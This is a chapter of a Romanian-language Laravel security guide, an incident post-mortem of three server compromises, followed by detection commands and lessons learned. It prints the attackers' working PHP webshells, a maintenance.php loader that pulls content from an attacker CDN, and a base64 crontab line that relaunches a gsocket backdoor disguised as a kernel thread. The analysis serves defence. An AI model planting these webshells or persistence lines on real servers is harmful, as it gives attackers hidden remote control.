Atacuri reale pe care le-am supraviețuit: De la webshell-uri la backdoor-uri binare

Acest capitol nu e teorie. E o autopsie.

Între decembrie 2025 și februarie 2026, trei dintre aplicațiile noastre Laravel de producție au fost compromise. Afaceri reale. Utilizatori reali. Date reale în pericol. Ultimul atac a dezvăluit ceva mult mai grav decât webshell-urile - un backdoor binar care se ascunsese pe serverul nostru timp de 10 luni.

Îți împărtășim tot ce am învățat - cronologiile, fișierele, tehnicile - ca să poți recunoaște aceste tipare înainte să devină problema ta.

Atacul #1: Platforma Video (Decembrie 2025)

Prima țintă a fost o platformă de creare video alimentată de AI. Construită pe Laravel, ajuta creatorii de conținut să genereze automat videoclipuri scurte pentru rețele sociale—complete cu narare AI, subtitrări dinamice și editare automată. Funcționa fără probleme de luni de zile. Apoi a venit Crăciunul.

Cronologie

Fișierele Malware

Iată ce am găsit când am început investigația:

Webshell-ul Principal:

/public/1e58d74cc1ff.php

Acesta era backdoor-ul principal - un webshell complet cu management de fișiere, execuție de comenzi și capabilități de upload.

Shell-uri de Backup:

/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php

Atacatorul a implementat multiple shell-uri de backup cu nume hash randomizate. Dacă găseam și ștergeam unul, celelalte încă funcționau.

Răspânditorul:

accesson.php

Acest fișier a fost copiat în aproximativ 15 directoare din proiect:

/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... și altele

Directoare de Spam SEO:

/public/d2f08/
/public/bb75f/
/public/a9c3e/

Acestea conțineau mii de fișiere HTML cu listări de produse false, spam farmaceutic și link-uri de gambling - toate proiectate să deturneze autoritatea SEO a domeniului nostru.

Tehnici de Atac Folosite

1. Fișiere cu Nume Hash

Fiecare fișier malițios folosea un șir hex aleatoriu ca nume:

• 1e58d74cc1ff.php
• cf7a7e59e4.php
• 98e2628301.php

Asta face detectarea manuală aproape imposibilă. Cum identifici un fișier malițios printre mii când arată ca un fișier cache sau upload temporar?

2. Persistență Multi-Locație

Copiind accesson.php în 15+ directoare, atacatorul s-a asigurat că:

• Ștergerea unei copii nu i-ar opri
• Aveau multiple puncte de intrare
• Cel puțin unul ar supraviețui probabil unei curățări parțiale

3. Auto-Protecție

Webshell-urile includeau mecanisme de auto-protecție:

// Setează permisiunile fișierului la read-only
chmod(__FILE__, 0444);

// Încearcă să seteze flag-ul immutable (Linux)
@shell_exec('chattr +i ' . __FILE__);

// Dezactivează raportarea erorilor
error_reporting(0);
ini_set('display_errors', 0);

4. Comenzi Bazate pe Parametri

Webshell-urile foloseau parametri URL pentru funcții diferite:

• ?up - Interfață upload fișier
• ?id=xxx - Execută comandă
• ?dl=path - Descarcă fișier
• ?ed=path - Editează fișier

Cum Au Intrat?

Investigația noastră a indicat spre un cont de admin compromis. Atacatorul probabil:

1. A obținut credențialele prin phishing sau credential stuffing
2. S-a logat în panoul de admin Laravel
3. A găsit o funcționalitate de upload cu validare insuficientă
4. A încărcat webshell-ul inițial deghizat ca imagine

Atacul #2: Platforma de Știri - Primul Val (Ianuarie 2026)

Trei săptămâni mai târziu, s-a întâmplat din nou - la un proiect diferit.

Aceasta era o platformă de analiză a știrilor care ajută cetățenii să-și dezvolte gândirea critică despre media. Folosind evaluare de credibilitate alimentată de AI, permite utilizatorilor să analizeze articole de știri pentru bias și acuratețe. Mizele erau mari—încrederea utilizatorilor și credibilitatea platformei erau în joc.

Descoperirea

Spre deosebire de platforma video, nu am descoperit acest atac noi înșine.

Scanner-ul de malware al provider-ului de hosting a semnalat un fișier suspect:

/storage/app/public/kjrce03dcm.php

Malware-ul

Fișier: kjrce03dcm.php Locație: /storage/app/public/ Tip: Webshell compact (variantă China Chopper)

Fișierul era mic - doar aproximativ 4KB - dar extrem de periculos:

<?php
// Dezactivează erorile
@error_reporting(0);
@ini_set('display_errors', 0);

// Acceptă comenzi via POST
if(isset($_POST['cmd'])) {
    echo '<pre>';
    $cmd = $_POST['cmd'];
    // Execută și afișează output-ul
    @system($cmd);
echo '</pre>';
}

// Operațiuni pe fișiere via GET
if(isset($_GET['action'])) {
    switch($_GET['action']) {
case 'upload': /* ... */ break;
case 'download': /* ... */ break;
case 'delete': /* ... */ break;
}
}
?>

Vectorul de Atac

De data aceasta, punctul de intrare era diferit:

1. Aplicația avea o funcționalitate de upload public de fișiere pentru documente utilizator
2. Upload-ul mergea în storage/app/public/ (accesibil public via symlink)
3. Validarea verifica dimensiunea fișierului și tipul MIME, dar nu extensia
4. Atacatorul a încărcat kjrce03dcm.php direct

Ce Ne-a Salvat

Două lucruri au prevenit daune majore:

1. Detectare timpurie - Provider-ul de hosting l-a semnalat în 48 de ore
2. Propagare limitată - Atacatorul nu se răspândise încă în alte directoare

Dar asta a fost noroc, nu pricepere.

Am curățat webshell-ul. Am crezut că suntem în siguranță.

Am greșit.

Atacul #3: Platforma de Știri - Revenirea (Februarie 2026)

Ce Am Găsit

Când spam-ul SEO a apărut brusc pe fiecare pagină a platformei de știri la începutul lui februarie, am știut că ceva era în neregulă. Dar deja curățasem webshell-ul din ianuarie. Cum revenise atacatorul?

Investigația a dezvăluit patru componente care lucrau împreună:

Componenta 1: Deturnarea maintenance.php

Fișierul public/index.php din Laravel conține acest cod:

if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
  require $maintenance;
}

Acest fișier este auto-inclus la FIECARE request HTTP înainte ca orice cod Laravel să ruleze. Când îți pui aplicația în modul mentenanță cu php artisan down, acesta e fișierul care se creează. Atacatorul știa asta - și l-a înlocuit cu propria versiune:

<?php
// COMPONENTA 1: Încărcător Spam SEO
$url = "https://sebat-dulu-bray.b-cdn.net/gratis.txt";
$content = @file_get_contents($url);
if ($content === false) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $content = curl_exec($ch);
    curl_close($ch);
}
echo $content;
?>
<?php
// COMPONENTA 2: Webshell Simplu
if (isset($_GET['sley'])) {
    $joday = $_GET['sley'];
    system($joday, $ret);
    echo $ret;
}
?>

De ce e devastator:

1. Spam SEO pe fiecare pagină - conținut spam preluat de pe BunnyCDN afișat la fiecare request
2. Webshell pe orice URL - simplu adaugi ?sley=COMANDĂ la orice URL de pe site
3. Mecanism dual de preluare - file_get_contents cu fallback curl asigură încărcarea spam-ului chiar dacă o metodă e dezactivată
4. Rulează înainte de Laravel - niciun middleware, nicio autentificare, nicio protecție din framework

Domeniul CDN sebat-dulu-bray.b-cdn.net se traduce din argou indonezian (“fumează întâi, frate”) - un indiciu despre originea atacatorului. Numele de variabile sley și joday sugerează în continuare un atacator vorbitor de indoneziană.

Componenta 2: Webshell-ul bootstrap.cache.php

Atacatorul a implementat un webshell mai sofisticat, folosind mimarea numelor de fișiere pentru a se integra:

/storage/app/public/bootstrap.cache.php
/storage/bootstrap.cache.php

Numele bootstrap.cache.php e proiectat să arate ca un fișier Laravel legitim - la urma urmei, Laravel are un director bootstrap/cache/. Un administrator care parcurge fișierele ar putea sări direct peste el.

<?php
/*
 * Bootstrap Cache Handler
 * @package Framework Core
 * @license MIT
 */

if(!defined('_INIT')){define('_INIT',1);}

// Cheie de acces (hex encoded): "wanna_play_with_me"
$k="\x77\x61\x6e\x6e\x61\x5f\x70\x6c\x61\x79\x5f\x77\x69\x74\x68\x5f\x6d\x65";

if(isset($_GET[$k])||isset($_POST[$k])){
    // Dump info server (software, IP, versiune PHP, uname)
    // Upload fișiere (upload arbitrar în orice cale cu acces la scriere)
    // Executor de comenzi via shell_exec()
    exit;
}

// STEALTH: Pagină 404 falsă dacă e accesat fără parolă
// Detectează software-ul serverului (nginx/apache) și returnează pagina 404 potrivită
http_response_code(404);
// ... 404 adaptiv bazat pe software-ul serverului

Funcționalități cheie:

• Parolă codificată hex - wanna_play_with_me stocată ca bytes hex, invizibilă pentru căutări simple de string-uri
• Răspuns 404 fals - dacă vizitezi fișierul fără parolă, returnează o pagină 404 convingătoare care se potrivește cu serverul tău web (nginx sau Apache)
• Comentarii false în cod - header-ul arată ca un fișier legitim de framework
• Capabilități complete - recunoaștere server, upload fișiere și execuție comenzi într-un singur fișier compact

Componenta 3: Amenințarea Reală - Backdoor-ul Binar gsocket

Ascuns adânc într-un director de configurare de sistem:

/var/www/.config/htop/defunct      (binar ELF de 2.8MB)
/var/www/.config/htop/defunct.dat  (cheie de autentificare de 23 bytes)

Acesta era gsocket (Global Socket) - o unealtă care oferă acces shell criptat prin servere relay. Iată ce-l face terifiant:

Atacatorul putea să se conecteze la serverul nostru oricând folosind o cheie secretă partajată, să obțină un shell interactiv complet, și noi nu am fi văzut nimic. Niciun log. Nicio alertă. Niciun port deschis. Nimic.

Componenta 4: Persistența prin Crontab - Procesul De Neucis

Atacatorul s-a asigurat că gsocket va supraviețui repornirii serverului folosind o intrare crontab deghizată inteligent:

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d3Ly5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW3NsdWJfZmx1c2h3cV0nICcvdmFyL3d3dy8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random

Să decodăm ce face. Payload-ul base64 se decodează în:

/usr/bin/pkill -0 -U33 defunct 2>/dev/null || \
  SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/.config/htop/defunct.dat -liqD" \
  /usr/bin/bash -c "exec -a '[slub_flushwq]' '/var/www/.config/htop/defunct'" 2>/dev/null

Pas cu pas:

1. pkill -0 -U33 defunct - Verifică dacă gsocket deja rulează ca UID 33 (www-data)
2. Dacă NU rulează (||): pornește-l cu aceste setări:
   • -k defunct.dat - folosește fișierul cheie de autentificare
   • -l - mod ascultare (așteaptă atacatorul să se conecteze)
   • -i - shell interactiv
   • -q - mod silențios (fără output)
   • -D - mod daemon (rulează în fundal)
3. exec -a '[slub_flushwq]' - Redenumește procesul să arate ca un thread de kernel

Ultima parte e critică. În Linux, thread-urile de kernel apar în output-ul ps cu paranteze pătrate: [kworker/0:0], [migration/0], [slub_flushwq]. Denumind procesul gsocket [slub_flushwq] (care e un nume real de thread de kernel Linux), devine practic invizibil în listele de procese. Ar trebui să știi că nu ar trebui să ruleze ca www-data ca să observi ceva.

Straturile de evasion sunt remarcabile:

Cronologia Completă

De Ce Revenea Malware-ul

Am curățat webshell-urile PHP în ianuarie. Atacatorul a revenit în câteva zile.

Motivul e simplu: curățarea fișierelor PHP nu elimină atacatorul. Binarul gsocket le dădea acces persistent la serverul nostru. De fiecare dată când curățam, pur și simplu se reconectau prin rețeaua relay și reîncărcau malware-ul.

E ca și cum ai schimba yalele de la ușa din față în timp ce spărgătorul se ascunde în pod.

Tipare Comune în Toate Trei Atacurile

Analizând toate cele trei incidente pe parcursul a 12 luni, au apărut tipare clare:

1. Directoare Țintă

Toate atacurile au țintit directoare accesibile public sau directoare cu permisiune de scriere pentru serverul web:

2. Strategii de Nume Fișiere

3. Escaladarea Persistenței

Mecanismele de persistență au evoluat între atacuri:

1. Atacul #1 - Fișiere PHP multi-copie (15+ copii ale accesson.php)
2. Atacul #2 - Webshell unic în directorul de upload
3. Atacul #3 - Backdoor binar + crontab + mascaradă de proces

Fiecare nivel e mai greu de detectat și mai greu de eliminat decât precedentul.

4. Mascarada de Proces

Backdoor-ul gsocket s-a redenumit în [slub_flushwq] - un nume legitim de thread de kernel Linux. În output-ul ps aux, e de nedistins de un proces real de kernel dacă nu verifici UID-ul (thread-urile de kernel rulează ca root, acesta rula ca www-data).

5. Fără Monitorizare = Fără Detectare

În toate cele trei atacuri, niciunul nu a fost detectat de sistemele noastre. Aveam:

• Nicio monitorizare a integrității fișierelor
• Nicio scanare automată de malware
• Nicio alertă pentru fișiere PHP noi în directoare de upload
• Nicio detectare de fișiere binare în directoare web
• Niciun audit de crontab
• Nicio unealtă de securitate specifică Laravel

Lecții Învățate

Lecția 1: PHP Nu Ar Trebui Să Existe Niciodată în Directoare de Upload

Dacă un fișier PHP apare acolo, e malware. Punct.

Lecția 2: Curățarea Malware-ului Vizibil Nu E Suficientă

Aceasta e cea mai importantă lecție din experiența noastră. Când găsești și elimini webshell-uri PHP, ai adresat doar simptomul, nu cauza. Dacă atacatorul are un backdoor binar, o intrare crontab sau chei SSH compromise, va reveni în câteva ore.

O curățare completă necesită:

• Eliminarea întregului malware PHP
• Verificarea fișierelor binare în directoare web și directoare ascunse
• Auditarea crontab-urilor pentru TOȚI utilizatorii (inclusiv www-data)
• Verificarea modificărilor cheilor SSH
• Rotirea tuturor credențialelor

Lecția 3: Backdoor-urile Binare Sunt Mai Periculoase Decât Webshell-urile PHP

Binarul gsocket a fost amenințarea reală în cazul nostru - activ timp de 10 luni în timp ce noi ne concentram pe fișierele PHP. Backdoor-urile binare:

• Nu apar în scannerele de malware PHP
• Pot folosi rețele relay pentru a ocoli firewall-urile
• Nu lasă porturi deschise de detectat
• Pot masca procesele ca procese de sistem

Lecția 4: Verifică Crontab-urile pentru TOȚI Utilizatorii

for user in $(cut -f1 -d: /etc/passwd); do
    echo "=== $user ==="
    sudo crontab -u $user -l 2>/dev/null
done

Orice intrare crontab cu base64, pipe către bash, sau referințe la directoare ascunse e un semnal de alarmă. Comentariul “DO NOT REMOVE” e el însuși un truc de inginerie socială.

Lecția 5: Mascarada de Proces Învinge Monitorizarea Bazică

Un proces numit [slub_flushwq] care rulează ca www-data în loc de root e malițios - dar nu ai observa niciodată fără să știi ce să cauți. Uneltele obișnuite de monitorizare a proceselor nu-l vor semnala pentru că numele se potrivește cu un thread legitim de kernel.

Lecția 6: maintenance.php E un Vector de Atac Periculos

Laravel auto-include storage/framework/maintenance.php la fiecare request. Asta face din el o țintă perfectă pentru execuție persistentă de cod:

• Rulează înainte de orice middleware
• Rulează înainte de orice autentificare
• Rulează la fiecare request HTTP
• E o locație legitimă de fișier Laravel

Dacă acest fișier există și aplicația ta nu e în modul mentenanță, ceva e în neregulă.

Lecția 7: Shared Hosting-ul Multiplică Riscul

Îți amintești atacul pe care l-am menționat la început? Înainte de aceste trei incidente, douăsprezece aplicații pe shared hosting au fost compromise dintr-o singură lovitură. Pe shared hosting, o singură aplicație vulnerabilă poate duce la infectarea tuturor.

Lecția 8: Scannerele Generice Nu Sunt Suficiente

Scanner-ul provider-ului de hosting a găsit kjrce03dcm.php pentru că se potrivea cu o semnătură cunoscută. Dar a ratat:

• Binarul gsocket în întregime
• maintenance.php deturnat
• Mimarea numelui bootstrap.cache.php
• Persistența prin crontab
• Tipare de cod obfuscat
• Vectori de atac specifici Laravel

Cum Să-ți Verifici Propriul Server

Dacă citești asta și te întrebi dacă serverul tău e compromis, iată comenzile de rulat chiar acum:

1. Verifică binare ascunse

# Găsește binare ELF în directoare web
find /var/www/ -type f -exec file {} \; 2>/dev/null | grep "ELF"

# Verifică directoare ascunse sub webroot
find /var/www/ -path "*/.*/*" -type f 2>/dev/null

# Verifică specific directoarele .config
ls -laR /var/www/.config/ 2>/dev/null
ls -laR /home/*/.config/ 2>/dev/null

2. Auditează toate crontab-urile

# Verifică crontab-urile tuturor utilizatorilor
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  sudo crontab -u $user -l 2>/dev/null
done

# Caută base64 în crontab-uri
sudo grep -r "base64" /var/spool/cron/ 2>/dev/null
sudo grep -r "base64" /etc/cron* 2>/dev/null

3. Verifică mascarada de procese

# Procese cu aspect de kernel-thread care NU rulează ca root = suspect
ps aux | grep '\[' | grep -v root

# Verifică nume de procese gsocket cunoscute
ps aux | grep -i "slub_flush\|defunct\|gsocket\|gs-netcat"

4. Verifică PHP în directoare interzise

# Fișiere PHP în storage (excluzând view-urile compilate)
find /var/www/*/storage/ -name "*.php" \
-not -path "*/framework/views/*" 2>/dev/null

# Fișiere PHP în public (excluzând index.php)
find /var/www/*/public/ -name "*.php" \
-not -name "index.php" 2>/dev/null

5. Verifică maintenance.php

# maintenance.php ar trebui să existe doar când ești în modul mentenanță
# Dacă există, verifică dacă conținutul e output Laravel legitim
for site in /var/www/*/; do
  if [ -f "${site}storage/framework/maintenance.php" ]; then
      echo "=== GĂSIT: ${site}storage/framework/maintenance.php ==="
      head -10 "${site}storage/framework/maintenance.php"
      echo "--- VERIFICĂ: Aplicația ta e chiar în modul mentenanță? ---"
  fi
done

Sumar Semnale de Alarmă

Dacă vezi oricare dintre acestea, investighează imediat:

• Binare ELF oriunde sub /var/www/
• Directoare ascunse (.config/, .cache/, .local/) sub webroot
• Comenzi codificate base64 în orice crontab
• Procese cu nume în paranteze [ca_acesta] rulând ca utilizatori non-root
• Fișiere PHP în storage/app/public/ sau directoare de upload
• maintenance.php existând când aplicația ta nu e în modul mentenanță
• Fișiere numite bootstrap.cache.php în afara bootstrap/cache/

Nașterea Acestui Proiect

Aceste trei atacuri - întinse pe 12 luni și escaladând de la webshell-uri simple la un backdoor binar sofisticat - ne-au forțat să acționăm.

Nu puteam continua să sperăm că vom fi norocoși. Aveam nevoie de:

1. Scanare automată care înțelege structura Laravel
2. Monitorizare în timp real care ne alertează despre amenințări noi
3. Detectare de semnături pentru tipare de malware cunoscute
4. Analiză comportamentală pentru amenințări necunoscute
5. Detectare de fișiere binare în directoare web
6. Audit de crontab pentru mecanisme de persistență
7. Zero false positive-uri ca să putem avea încredere în alerte

De aceea am construit Laravel Malware Scanner.

Și de aceea îți împărtășim această carte - ca să poți învăța din greșelile noastre în loc să le faci pe ale tale.

Următorul: Capitolul 3 - Cei 6 Vectori de Atac Comuni în Laravel →

În următorul capitol, vom examina cele mai comune moduri prin care atacatorii compromit aplicațiile Laravel - inclusiv CVE-urile critice pe care trebuie să le cunoști.